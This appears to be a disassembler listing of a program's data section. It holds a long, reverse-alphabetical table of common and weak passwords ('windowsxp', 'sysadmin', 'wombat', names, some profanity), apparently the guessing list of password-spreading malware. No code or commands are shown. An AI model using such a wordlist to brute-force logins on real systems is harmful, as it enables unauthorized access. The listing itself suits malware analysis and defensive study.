aWindowsme db 'windowsME',0 ; DATA XREF: ___:004311F0o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: ___:004311ECo
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:004311E8o
align 10h
aMs db 'MS',0 ; DATA XREF: ___:004311E4o
align 4
aM db 'M$',0 ; DATA XREF: ___:004311E0o
align 4
aBilly db 'billy',0 ; DATA XREF: ___:004311DCo
align 10h
aWindose db 'windose',0 ; DATA XREF: ___:004311D8o
aWindoze db 'windoze',0 ; DATA XREF: ___:004311D4o
aWindowz db 'windowz',0 ; DATA XREF: ___:004311D0o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:004311CCo
aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:004311C8o
align 10h
aAlexander db 'Alexander',0 ; DATA XREF: ___:004311C4o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: ___:004311C0o
align 4
aDud3 db 'dud3',0 ; DATA XREF: ___:004311BCo
align 4
aDudette db 'dudette',0 ; DATA XREF: ___:004311B8o
aD00d db 'd00d',0 ; DATA XREF: ___:004311B4o
align 4
aLol db 'lol',0 ; DATA XREF: ___:004311B0o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:004311ACo
align 10h
aRoscop db 'RoscoP',0 ; DATA XREF: ___:004311A8o
align 4
aRosco db 'Rosco',0 ; DATA XREF: ___:004311A4o
align 10h
aRoss db 'Ross',0 ; DATA XREF: ___:004311A0o
align 4
aTestin db 'testin',0 ; DATA XREF: ___:0043119Co
align 10h
aTester db 'tester',0 ; DATA XREF: ___:00431198o
align 4
a00000000 db '00000000',0 ; DATA XREF: ___:00431194o
align 4
aZulu db 'zulu',0 ; DATA XREF: ___:00431190o
align 4
aZombie db 'zombie',0 ; DATA XREF: ___:0043118Co
align 4
aZmodem db 'zmodem',0 ; DATA XREF: ___:00431188o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: ___:00431184o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: ___:00431180o
align 10h
aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:0043117Co
align 4
aZebra db 'zebra',0 ; DATA XREF: ___:00431178o
align 4
aYoung db 'young',0 ; DATA XREF: ___:00431174o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: ___:00431170o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: ___:0043116Co
aYellowst db 'yellowst',0 ; DATA XREF: ___:00431168o
align 4
aYellow db 'yellow',0 ; DATA XREF: ___:00431164o
align 4
aYankee db 'yankee',0 ; DATA XREF: ___:00431160o
align 4
aYang db 'yang',0 ; DATA XREF: ___:0043115Co
align 4
aYaco db 'yaco',0 ; DATA XREF: ___:00431158o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: ___:00431154o
align 4
aXray db 'xray',0 ; DATA XREF: ___:00431150o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: ___:0043114Co
align 4
aXmen db 'xmen',0 ; DATA XREF: ___:00431148o
align 4
aXman db 'xman',0 ; DATA XREF: ___:00431144o
align 4
aXfer db 'xfer',0 ; DATA XREF: ___:00431140o
align 4
aXena db 'xena',0 ; DATA XREF: ___:0043113Co
align 4
aWyoming db 'wyoming',0 ; DATA XREF: ___:00431138o
aWwii db 'wwii',0 ; DATA XREF: ___:00431134o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: ___:00431130o
align 10h
aWorm db 'worm',0 ; DATA XREF: ___:0043112Co
align 4
aWork db 'work',0 ; DATA XREF: ___:00431128o
align 10h
aWorf db 'worf',0 ; DATA XREF: ___:00431124o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: ___:00431120o
align 4
aWord db 'word',0 ; DATA XREF: ___:0043111Co
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: ___:00431118o
align 4
aWood db 'wood',0 ; DATA XREF: ___:00431114o
align 10h
aWomen db 'women',0 ; DATA XREF: ___:00431110o
align 4
aWombat db 'wombat',0 ; DATA XREF: ___:0043110Co
align 10h
aWoman db 'woman',0 ; DATA XREF: ___:00431108o
align 4
aWolverin db 'wolverin',0 ; DATA XREF: ___:00431104o
align 4
aWolf db 'wolf',0 ; DATA XREF: ___:00431100o
align 4
aWizard db 'wizard',0 ; DATA XREF: ___:004310FCo
align 4
aWithin db 'within',0 ; DATA XREF: ___:004310F8o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: ___:004310F4o
aWisconsi db 'wisconsi',0 ; DATA XREF: ___:004310F0o
align 10h
aWired db 'wired',0 ; DATA XREF: ___:004310ECo
align 4
aWinston db 'winston',0 ; DATA XREF: ___:004310E8o
aWing db 'wing',0 ; DATA XREF: ___:004310E4o
align 4
aWine db 'wine',0 ; DATA XREF: ___:004310E0o
align 10h
aWindows db 'windows',0 ; DATA XREF: ___:004310DCo
aWilma db 'wilma',0 ; DATA XREF: ___:004310D8o
align 10h
aWillie db 'willie',0 ; DATA XREF: ___:004310D4o
align 4
aWilliams db 'williams',0 ; DATA XREF: ___:004310D0o
align 4
aWilliam db 'william',0 ; DATA XREF: ___:004310CCo
aWill db 'will',0 ; DATA XREF: ___:004310C8o
align 4
aWhore db 'whore',0 ; DATA XREF: ___:004310C4o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: ___:004310C0o
align 4
aWhitney db 'whitney',0 ; DATA XREF: ___:004310BCo
aWhiting db 'whiting',0 ; DATA XREF: ___:004310B8o
aWhite db 'white',0 ; DATA XREF: ___:004310B4o
align 10h
aWhisky db 'whisky',0 ; DATA XREF: ___:004310B0o
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: ___:004310ACo
aWhatever db 'whatever',0 ; DATA XREF: ___:004310A8o
align 4
aWestern db 'western',0 ; DATA XREF: ___:004310A4o
aWest db 'west',0 ; DATA XREF: ___:004310A0o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: ___:0043109Co
align 4
aWendy db 'wendy',0 ; DATA XREF: ___:00431098o
align 10h
aWendi db 'wendi',0 ; DATA XREF: ___:00431094o
align 4
aWell db 'well',0 ; DATA XREF: ___:00431090o
align 10h
aWeenie db 'weenie',0 ; DATA XREF: ___:0043108Co
align 4
aWeed db 'weed',0 ; DATA XREF: ___:00431088o
align 10h
aWednesda db 'wednesda',0 ; DATA XREF: ___:00431084o
align 4
aWebpage db 'webpage',0 ; DATA XREF: ___:00431080o
aWave db 'wave',0 ; DATA XREF: ___:0043107Co
align 4
aWater db 'water',0 ; DATA XREF: ___:00431078o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: ___:00431074o
align 10h
aWasp db 'wasp',0 ; DATA XREF: ___:00431070o
align 4
aWarren db 'warren',0 ; DATA XREF: ___:0043106Co
align 10h
aWarp db 'warp',0 ; DATA XREF: ___:00431068o
align 4
aWargames db 'wargames',0 ; DATA XREF: ___:00431064o
align 4
aWarfare db 'warfare',0 ; DATA XREF: ___:00431060o
aWarez db 'warez',0 ; DATA XREF: ___:0043105Co
align 4
aWard db 'ward',0 ; DATA XREF: ___:00431058o
align 4
aWaco db 'waco',0 ; DATA XREF: ___:00431054o
align 4
aVodka db 'vodka',0 ; DATA XREF: ___:00431050o
align 4
aVisualba db 'visualba',0 ; DATA XREF: ___:0043104Co
align 4
aVisual db 'visual',0 ; DATA XREF: ___:00431048o
align 10h
aVisitor db 'visitor',0 ; DATA XREF: ___:00431044o
aVirus db 'virus',0 ; DATA XREF: ___:00431040o
align 10h
aVirginia db 'virginia',0 ; DATA XREF: ___:0043103Co
align 4
aVirgin db 'virgin',0 ; DATA XREF: ___:00431038o
align 4
aVillage db 'village',0 ; DATA XREF: ___:00431034o
aVideogam db 'videogam',0 ; DATA XREF: ___:00431030o
align 4
aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A2o
; ___:0043102Co
align 10h
aVictor db 'victor',0 ; DATA XREF: ___:00431028o
align 4
aVicky db 'vicky',0 ; DATA XREF: ___:00431024o
align 10h
aVertigo db 'vertigo',0 ; DATA XREF: ___:00431020o
aVeronica db 'veronica',0 ; DATA XREF: ___:0043101Co
align 4
aVenus db 'venus',0 ; DATA XREF: ___:00431018o
align 4
aVasant db 'vasant',0 ; DATA XREF: ___:00431014o
align 4
aVampire db 'vampire',0 ; DATA XREF: ___:00431010o
aValerie db 'valerie',0 ; DATA XREF: ___:0043100Co
aVagina db 'vagina',0 ; DATA XREF: ___:00431008o
align 4
aUucp db 'uucp',0 ; DATA XREF: ___:00431004o
align 4
aUtility db 'utility',0 ; DATA XREF: ___:00431000o
aUtil db 'util',0 ; DATA XREF: ___:00430FFCo
align 4
aUsmc db 'usmc',0 ; DATA XREF: ___:00430FF8o
align 4
aUsername db 'username',0 ; DATA XREF: ___:00430FF4o
align 4
aUsermane db 'usermane',0 ; DATA XREF: ___:00430FF0o
align 4
aUsenet db 'usenet',0 ; DATA XREF: ___:00430FECo
align 4
aUrsula db 'ursula',0 ; DATA XREF: ___:00430FE8o
align 4
aUrchin db 'urchin',0 ; DATA XREF: ___:00430FE4o
align 4
aUranus db 'uranus',0 ; DATA XREF: ___:00430FE0o
align 4
aUpload db 'upload',0 ; DATA XREF: ___:00430FDCo
align 4
aUnlock db 'unlock',0 ; DATA XREF: ___:00430FD8o
align 4
aUnknown_1 db 'unknown',0 ; DATA XREF: ___:00430FD4o
aUniversi db 'universi',0 ; DATA XREF: ___:00430FD0o
align 4
aUniverse db 'universe',0 ; DATA XREF: ___:00430FCCo
align 4
aUniversa db 'universa',0 ; DATA XREF: ___:00430FC8o
align 10h
aUniform db 'uniform',0 ; DATA XREF: ___:00430FC4o
aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430FC0o
aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430FBCo
aUndo db 'undo',0 ; DATA XREF: ___:00430FB8o
align 10h
aUncle db 'uncle',0 ; DATA XREF: ___:00430FB4o
align 4
aUmesh db 'umesh',0 ; DATA XREF: ___:00430FB0o
align 10h
aUgly db 'ugly',0 ; DATA XREF: ___:00430FACo
align 4
aTuttle db 'tuttle',0 ; DATA XREF: ___:00430FA8o
align 10h
aTurn db 'turn',0 ; DATA XREF: ___:00430FA4o
align 4
aTuesday db 'tuesday',0 ; DATA XREF: ___:00430FA0o
aTubas db 'tubas',0 ; DATA XREF: ___:00430F9Co
align 4
aTruth db 'truth',0 ; DATA XREF: ___:00430F98o
align 10h
aTrue db 'true',0 ; DATA XREF: ___:00430F94o
align 4
aTron db 'tron',0 ; DATA XREF: ___:00430F90o
align 10h
aTrombone db 'trombone',0 ; DATA XREF: ___:00430F8Co
align 4
aTrojan db 'trojan',0 ; DATA XREF: ___:00430F88o
align 4
aTrivial db 'trivial',0 ; DATA XREF: ___:00430F84o
aTrisha db 'trisha',0 ; DATA XREF: ___:00430F80o
align 4
aTrek db 'trek',0 ; DATA XREF: ___:00430F7Co
align 4
aTree db 'tree',0 ; DATA XREF: ___:00430F78o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: ___:00430F74o
align 10h
aTrap db 'trap',0 ; DATA XREF: ___:00430F70o
align 4
aTransfer db 'transfer',0 ; DATA XREF: ___:00430F6Co
align 4
aTrails db 'trails',0 ; DATA XREF: ___:00430F68o
align 4
aTracy db 'tracy',0 ; DATA XREF: ___:00430F64o
align 4
aTracie db 'tracie',0 ; DATA XREF: ___:00430F60o
align 4
aTraci db 'traci',0 ; DATA XREF: ___:00430F5Co
align 4
aToyota db 'toyota',0 ; DATA XREF: ___:00430F58o
align 4
aToxic db 'toxic',0 ; DATA XREF: ___:00430F54o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: ___:00430F50o
align 10h
aTopograp db 'topograp',0 ; DATA XREF: ___:00430F4Co
align 4
aTomato db 'tomato',0 ; DATA XREF: ___:00430F48o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: ___:00430F44o
align 10h
aToken db 'token',0 ; DATA XREF: ___:00430F40o
align 4
aToggle db 'toggle',0 ; DATA XREF: ___:00430F3Co
align 10h
aToad db 'toad',0 ; DATA XREF: ___:00430F38o
align 4
aTits db 'tits',0 ; DATA XREF: ___:00430F34o
align 10h
aTina db 'tina',0 ; DATA XREF: ___:00430F30o
align 4
aTime db 'time',0 ; DATA XREF: ___:00430F2Co
align 10h
aTiger db 'tiger',0 ; DATA XREF: ___:00430F28o
align 4
aTiffany db 'tiffany',0 ; DATA XREF: ___:00430F24o
aThursday db 'thursday',0 ; DATA XREF: ___:00430F20o
align 4
aThin db 'thin',0 ; DATA XREF: ___:00430F1Co
align 4
aTheresa db 'theresa',0 ; DATA XREF: ___:00430F18o
aThailand db 'thailand',0 ; DATA XREF: ___:00430F14o
align 4
aText db 'text',0 ; DATA XREF: ___:00430F10o
align 10h
aTetris db 'tetris',0 ; DATA XREF: ___:00430F0Co
align 4
aTess db 'tess',0 ; DATA XREF: ___:00430F08o
align 10h
aTerminat db 'terminat',0 ; DATA XREF: ___:00430F04o
align 4
aTerminal db 'terminal',0 ; DATA XREF: ___:00430F00o
align 4
aTera db 'tera',0 ; DATA XREF: ___:00430EFCo
align 10h
aTennis db 'tennis',0 ; DATA XREF: ___:00430EF8o
align 4
aTemptati db 'temptati',0 ; DATA XREF: ___:00430EF4o
align 4
aTelnet db 'telnet',0 ; DATA XREF: ___:00430EF0o
align 4
aTelephon db 'telephon',0 ; DATA XREF: ___:00430EECo
align 4
aTeenage db 'teenage',0 ; DATA XREF: ___:00430EE8o
aTeen db 'teen',0 ; DATA XREF: ___:00430EE4o
align 4
aTech db 'tech',0 ; DATA XREF: ___:00430EE0o
align 10h
aTears db 'tears',0 ; DATA XREF: ___:00430EDCo
align 4
aTeapot db 'teapot',0 ; DATA XREF: ___:00430ED8o
align 10h
aTeam db 'team',0 ; DATA XREF: ___:00430ED4o
align 4
aTaylor db 'taylor',0 ; DATA XREF: ___:00430ECCo
align 10h
aTarragon db 'tarragon',0 ; DATA XREF: ___:00430EC8o
align 4
aTarget db 'target',0 ; DATA XREF: ___:00430EC4o
align 4
aTara db 'tara',0 ; DATA XREF: ___:00430EC0o
align 4
aTape db 'tape',0 ; DATA XREF: ___:00430EBCo
align 4
aTango db 'tango',0 ; DATA XREF: ___:00430EB8o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: ___:00430EB4o
align 4
aTammy db 'tammy',0 ; DATA XREF: ___:00430EB0o
align 10h
aTamie db 'tamie',0 ; DATA XREF: ___:00430EACo
align 4
aTami db 'tami',0 ; DATA XREF: ___:00430EA8o
align 10h
aTamara db 'tamara',0 ; DATA XREF: ___:00430EA4o
align 4
aTall db 'tall',0 ; DATA XREF: ___:00430EA0o
align 10h
aTalk db 'talk',0 ; DATA XREF: ___:00430E9Co
align 4
aTabasco db 'tabasco',0 ; DATA XREF: ___:00430E98o
aSysop db 'sysop',0 ; DATA XREF: ___:00430E94o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: ___:00430E90o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: ___:00430E8Co
align 10h
aSybil db 'sybil',0 ; DATA XREF: ___:00430E88o
align 4
aSword db 'sword',0 ; DATA XREF: ___:00430E84o
align 10h
aSwitch db 'switch',0 ; DATA XREF: ___:00430E80o
align 4
aSweat db 'sweat',0 ; DATA XREF: ___:00430E7Co
align 10h
aSwearer db 'swearer',0 ; DATA XREF: ___:00430E78o
aSuzie db 'suzie',0 ; DATA XREF: ___:00430E74o
align 10h
aSuzanne db 'suzanne',0 ; DATA XREF: ___:00430E70o
aSusie db 'susie',0 ; DATA XREF: ___:00430E6Co
align 10h
aSusanne db 'susanne',0 ; DATA XREF: ___:00430E68o
aSusan db 'susan',0 ; DATA XREF: ___:00430E64o
align 10h
aSurfing db 'surfing',0 ; DATA XREF: ___:00430E60o
aSurfer db 'surfer',0 ; DATA XREF: ___:00430E5Co
align 10h
aSupporte db 'supporte',0 ; DATA XREF: ___:00430E58o
align 4
aSupport db 'support',0 ; DATA XREF: ___:00430E54o
aSupervis db 'supervis',0 ; DATA XREF: ___:00430E50o
align 10h
aSuperuse db 'superuse',0 ; DATA XREF: ___:00430E4Co
align 4
aSupersta db 'supersta',0 ; DATA XREF: ___:00430E48o
align 4
aSuperson db 'superson',0 ; DATA XREF: ___:00430E44o
align 4
aSuperman db 'superman',0 ; DATA XREF: ___:00430E40o
align 10h
aSunday db 'sunday',0 ; DATA XREF: ___:00430E3Co
align 4
aSummer db 'summer',0 ; DATA XREF: ___:00430E38o
align 10h
aSucks db 'sucks',0 ; DATA XREF: ___:00430E34o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: ___:00430E30o
align 4
aSuck db 'suck',0 ; DATA XREF: ___:00430E2Co
align 4
aSuccess db 'success',0 ; DATA XREF: ___:00430E28o
aSubway db 'subway',0 ; DATA XREF: ___:00430E24o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: ___:00430E20o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: ___:00430E1Co
align 4
aStrip db 'strip',0 ; DATA XREF: ___:00430E14o
align 4
aString db 'string',0 ; DATA XREF: ___:00430E10o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: ___:00430E0Co
align 10h
aStratfor db 'stratfor',0 ; DATA XREF: ___:00430E08o
align 4
aStrangle db 'strangle',0 ; DATA XREF: ___:00430E04o
align 4
aStrange db 'strange',0 ; DATA XREF: ___:00430E00o
aStones db 'stones',0 ; DATA XREF: ___:00430DFCo
align 4
aStoned db 'stoned',0 ; DATA XREF: ___:00430DF8o
align 10h
aStoneage db 'stoneage',0 ; DATA XREF: ___:00430DF4o
align 4
aSteve db 'steve',0 ; DATA XREF: ___:00430DF0o
align 4
aStereo db 'stereo',0 ; DATA XREF: ___:00430DECo
align 4
aStephani db 'stephani',0 ; DATA XREF: ___:00430DE8o
align 4
aSteph db 'steph',0 ; DATA XREF: ___:00430DE4o
align 10h
aSteel db 'steel',0 ; DATA XREF: ___:00430DE0o
align 4
aSteal db 'steal',0 ; DATA XREF: ___:00430DDCo
align 10h
aSteak db 'steak',0 ; DATA XREF: ___:00430DD8o
align 4
aStarwars db 'starwars',0 ; DATA XREF: ___:00430DD4o
align 4
aStartup db 'startup',0 ; DATA XREF: ___:00430DD0o
aStartrek db 'startrek',0 ; DATA XREF: ___:00430DCCo
align 4
aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o
; ___:00430DC8o
align 10h
aStarship db 'starship',0 ; DATA XREF: ___:00430DC4o
align 4
aStar db 'star',0 ; DATA XREF: ___:00430DC0o
align 4
aStacy db 'stacy',0 ; DATA XREF: ___:00430DBCo
align 4
aStacie db 'stacie',0 ; DATA XREF: ___:00430DB8o
align 4
aStaci db 'staci',0 ; DATA XREF: ___:00430DB4o
align 4
aStacey db 'stacey',0 ; DATA XREF: ___:00430DB0o
align 4
aSr71 db 'sr71',0 ; DATA XREF: ___:00430DACo
align 4
aSquires db 'squires',0 ; DATA XREF: ___:00430DA8o
aSpunk db 'spunk',0 ; DATA XREF: ___:00430DA4o
align 4
aSpringer db 'springer',0 ; DATA XREF: ___:00430DA0o
align 4
aSpring db 'spring',0 ; DATA XREF: ___:00430D9Co
align 10h
aSpred db 'spred',0 ; DATA XREF: ___:00430D98o
align 4
aSpit db 'spit',0 ; DATA XREF: ___:00430D94o
align 10h
aSpiderma db 'spiderma',0 ; DATA XREF: ___:00430D90o
align 4
aSpider db 'spider',0 ; DATA XREF: ___:00430D8Co
align 4
aSpice db 'spice',0 ; DATA XREF: ___:00430D88o
align 4
aSpell db 'spell',0 ; DATA XREF: ___:00430D84o
align 4
aSpear db 'spear',0 ; DATA XREF: ___:00430D80o
align 4
aSparrows db 'sparrows',0 ; DATA XREF: ___:00430D7Co
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: ___:00430D78o
align 4
aSouth db 'south',0 ; DATA XREF: ___:00430D74o
align 4
aSource db 'source',0 ; DATA XREF: ___:00430D70o
align 4
aSossina db 'sossina',0 ; DATA XREF: ___:00430D6Co
aSonya db 'sonya',0 ; DATA XREF: ___:00430D68o
align 4
aSonic db 'sonic',0 ; DATA XREF: ___:00430D64o
align 4
aSonia db 'sonia',0 ; DATA XREF: ___:00430D60o
align 4
aSondra db 'sondra',0 ; DATA XREF: ___:00430D5Co
align 4
aSomebody db 'somebody',0 ; DATA XREF: ___:00430D58o
align 4
aSoftware db 'software',0 ; DATA XREF: ___:00430D54o
align 4
aSoft db 'soft',0 ; DATA XREF: ___:00430D50o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: ___:00430D4Co
align 4
aSocrates db 'socrates',0 ; DATA XREF: ___:00430D48o
align 10h
aSocial db 'social',0 ; DATA XREF: ___:00430D44o
align 4
aSoap db 'soap',0 ; DATA XREF: ___:00430D40o
align 10h
aSnoopy db 'snoopy',0 ; DATA XREF: ___:00430D3Co
align 4
aSnatch db 'snatch',0 ; DATA XREF: ___:00430D38o
align 10h
aSnake db 'snake',0 ; DATA XREF: ___:00430D34o
align 4
aSnafu db 'snafu',0 ; DATA XREF: ___:00430D30o
align 10h
aSnach db 'snach',0 ; DATA XREF: ___:00430D2Co
align 4
aSmut db 'smut',0 ; DATA XREF: ___:00430D28o
align 10h
aSmtp db 'smtp',0 ; DATA XREF: ___:00430D24o
align 4
aSmother db 'smother',0 ; DATA XREF: ___:00430D20o
aSmooch db 'smooch',0 ; DATA XREF: ___:00430D1Co
align 4
aSmiles db 'smiles',0 ; DATA XREF: ___:00430D18o
align 10h
aSmile db 'smile',0 ; DATA XREF: ___:00430D14o
align 4
aSmart db 'smart',0 ; DATA XREF: ___:00430D10o
align 10h
aSmall db 'small',0 ; DATA XREF: ___:00430D0Co
align 4
aSlut db 'slut',0 ; DATA XREF: ___:00430D08o
align 10h
aSlow db 'slow',0 ; DATA XREF: ___:00430D04o
align 4
aSliders db 'sliders',0 ; DATA XREF: ___:00430D00o
aSlick db 'slick',0 ; DATA XREF: ___:00430CFCo
align 4
aSlave db 'slave',0 ; DATA XREF: ___:00430CF8o
align 10h
aSkull db 'skull',0 ; DATA XREF: ___:00430CF4o
align 4
aSite db 'site',0 ; DATA XREF: ___:00430CF0o
align 10h
aSingle db 'single',0 ; DATA XREF: ___:00430CECo
align 4
aSinger db 'singer',0 ; DATA XREF: ___:00430CE8o
align 10h
aSimulati db 'simulati',0 ; DATA XREF: ___:00430CE4o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: ___:00430CE0o
align 4
aSimple db 'simple',0 ; DATA XREF: ___:00430CDCo
align 10h
aSimon db 'simon',0 ; DATA XREF: ___:00430CD8o
align 4
aSimcity db 'simcity',0 ; DATA XREF: ___:00430CD4o
aSilver db 'silver',0 ; DATA XREF: ___:00430CD0o
align 4
aSignatur db 'signatur',0 ; DATA XREF: ___:00430CCCo
align 4
aSierra db 'sierra',0 ; DATA XREF: ___:00430CC8o
align 4
aSick db 'sick',0 ; DATA XREF: ___:00430CC4o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: ___:00430CC0o
aShort db 'short',0 ; DATA XREF: ___:00430CBCo
align 4
aShivers db 'shivers',0 ; DATA XREF: ___:00430CB8o
aShiva db 'shiva',0 ; DATA XREF: ___:00430CB4o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: ___:00430CB0o
aShit db 'shit',0 ; DATA XREF: ___:00430CACo
align 4
aShirley db 'shirley',0 ; DATA XREF: ___:00430CA8o
aShift db 'shift',0 ; DATA XREF: ___:00430CA4o
align 4
aSherri db 'sherri',0 ; DATA XREF: ___:00430CA0o
align 4
aShell db 'shell',0 ; DATA XREF: ___:00430C9Co
align 4
aSheldon db 'sheldon',0 ; DATA XREF: ___:00430C98o
aSheffiel db 'sheffiel',0 ; DATA XREF: ___:00430C94o
align 4
aSharon db 'sharon',0 ; DATA XREF: ___:00430C90o
align 10h
aSharks db 'sharks',0 ; DATA XREF: ___:00430C8Co
align 4
aShark db 'shark',0 ; DATA XREF: ___:00430C88o
align 10h
aSharc db 'sharc',0 ; DATA XREF: ___:00430C84o
align 4
aShannon db 'shannon',0 ; DATA XREF: ___:00430C80o
aSexy db 'sexy',0 ; DATA XREF: ___:00430C7Co
align 4
aSesame db 'sesame',0 ; DATA XREF: ___:00430C78o
align 10h
aService db 'service',0 ; DATA XREF: ___:00430C74o
aSerial_0 db 'serial',0 ; DATA XREF: ___:00430C70o
align 10h
aSerenity db 'serenity',0 ; DATA XREF: ___:00430C6Co
align 4
aSentry db 'sentry',0 ; DATA XREF: ___:00430C68o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: ___:00430C64o
align 10h
aSensor db 'sensor',0 ; DATA XREF: ___:00430C60o
align 4
aSega db 'sega',0 ; DATA XREF: ___:00430C5Co
align 10h
aSeed db 'seed',0 ; DATA XREF: ___:00430C58o
align 4
aSecurity db 'security',0 ; DATA XREF: ___:00430C54o
align 4
aSearch db 'search',0 ; DATA XREF: ___:00430C50o
align 4
aScout db 'scout',0 ; DATA XREF: ___:00430C4Co
align 4
aScotty db 'scotty',0 ; DATA XREF: ___:00430C48o
align 4
aScott db 'scott',0 ; DATA XREF: ___:00430C44o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: ___:00430C40o
align 10h
aScifi db 'scifi',0 ; DATA XREF: ___:00430C3Co
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: ___:00430C38o
aSchool db 'school',0 ; DATA XREF: ___:00430C34o
align 4
aScheme db 'scheme',0 ; DATA XREF: ___:00430C30o
align 4
aScamper db 'scamper',0 ; DATA XREF: ___:00430C2Co
aSaxon db 'saxon',0 ; DATA XREF: ___:00430C28o
align 4
aSaturn db 'saturn',0 ; DATA XREF: ___:00430C24o
align 4
aSaturday db 'saturday',0 ; DATA XREF: ___:00430C20o
align 4
aSarah db 'sarah',0 ; DATA XREF: ___:00430C1Co
align 10h
aSara db 'sara',0 ; DATA XREF: ___:00430C18o
align 4
aSandy db 'sandy',0 ; DATA XREF: ___:00430C14o
align 10h
aSandra db 'sandra',0 ; DATA XREF: ___:00430C10o
align 4
aSample db 'sample',0 ; DATA XREF: ___:00430C0Co
align 10h
aSamantha db 'samantha',0 ; DATA XREF: ___:00430C08o
align 4
aSalt db 'salt',0 ; DATA XREF: ___:00430C04o
align 4
aSale db 'sale',0 ; DATA XREF: ___:00430C00o
align 4
aSalami db 'salami',0 ; DATA XREF: ___:00430BFCo
align 4
aSafe db 'safe',0 ; DATA XREF: ___:00430BF8o
align 4
aRuth db 'ruth',0 ; DATA XREF: ___:00430BF4o
align 4
aRush db 'rush',0 ; DATA XREF: ___:00430BF0o
align 4
aRunning_0 db 'running',0 ; DATA XREF: ___:00430BECo
aRules db 'rules',0 ; DATA XREF: ___:00430BE8o
align 4
aRude db 'rude',0 ; DATA XREF: ___:00430BE4o
align 4
aRuby db 'ruby',0 ; DATA XREF: ___:00430BE0o
align 4
aRuben db 'ruben',0 ; DATA XREF: ___:00430BDCo
align 4
aRubber db 'rubber',0 ; DATA XREF: ___:00430BD8o
align 4
aRough db 'rough',0 ; DATA XREF: ___:00430BD4o
align 4
aRoses db 'roses',0 ; DATA XREF: ___:00430BD0o
align 4
aRosemary db 'rosemary',0 ; DATA XREF: ___:00430BCCo
align 4
aRosebud db 'rosebud',0 ; DATA XREF: ___:00430BC8o
aRose db 'rose',0 ; DATA XREF: ___:00430BC4o
align 4
aRonald db 'ronald',0 ; DATA XREF: ___:00430BC0o
align 10h
aRomulan db 'romulan',0 ; DATA XREF: ___:00430BBCo
aRomeo db 'romeo',0 ; DATA XREF: ___:00430BB8o
align 10h
aRomano db 'romano',0 ; DATA XREF: ___:00430BB4o
align 4
aRolex db 'rolex',0 ; DATA XREF: ___:00430BB0o
align 10h
aRodent db 'rodent',0 ; DATA XREF: ___:00430BACo
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: ___:00430BA8o
align 4
aRocky db 'rocky',0 ; DATA XREF: ___:00430BA4o
align 4
aRock db 'rock',0 ; DATA XREF: ___:00430BA0o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: ___:00430B9Co
align 10h
aRochelle db 'rochelle',0 ; DATA XREF: ___:00430B98o
align 4
aRobyn db 'robyn',0 ; DATA XREF: ___:00430B94o
align 4
aRobotics db 'robotics',0 ; DATA XREF: ___:00430B90o
align 10h
aRobot db 'robot',0 ; DATA XREF: ___:00430B8Co
align 4
aRobin db 'robin',0 ; DATA XREF: ___:00430B88o
align 10h
aRobert db 'robert',0 ; DATA XREF: ___:00430B84o
align 4
aRoach db 'roach',0 ; DATA XREF: ___:00430B80o
align 10h
aRisc db 'risc',0 ; DATA XREF: ___:00430B7Co
align 4
aRipple db 'ripple',0 ; DATA XREF: ___:00430B78o
align 10h
aRiot db 'riot',0 ; DATA XREF: ___:00430B74o
align 4
aRing db 'ring',0 ; DATA XREF: ___:00430B70o
align 10h
aRightwin db 'rightwin',0 ; DATA XREF: ___:00430B6Co
align 4
aRight db 'right',0 ; DATA XREF: ___:00430B68o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: ___:00430B64o
align 10h
aRick db 'rick',0 ; DATA XREF: ___:00430B60o
align 4
aRich db 'rich',0 ; DATA XREF: ___:00430B5Co
align 10h
aRhino db 'rhino',0 ; DATA XREF: ___:00430B58o
align 4
aReveal db 'reveal',0 ; DATA XREF: ___:00430B54o
align 10h
aResistan db 'resistan',0 ; DATA XREF: ___:00430B50o
align 4
aRepublic db 'republic',0 ; DATA XREF: ___:00430B4Co
align 4
aReport db 'report',0 ; DATA XREF: ___:00430B48o
align 10h
aRent db 'rent',0 ; DATA XREF: ___:00430B44o
align 4
aReno db 'reno',0 ; DATA XREF: ___:00430B40o
align 10h
aRenee db 'renee',0 ; DATA XREF: ___:00430B3Co
align 4
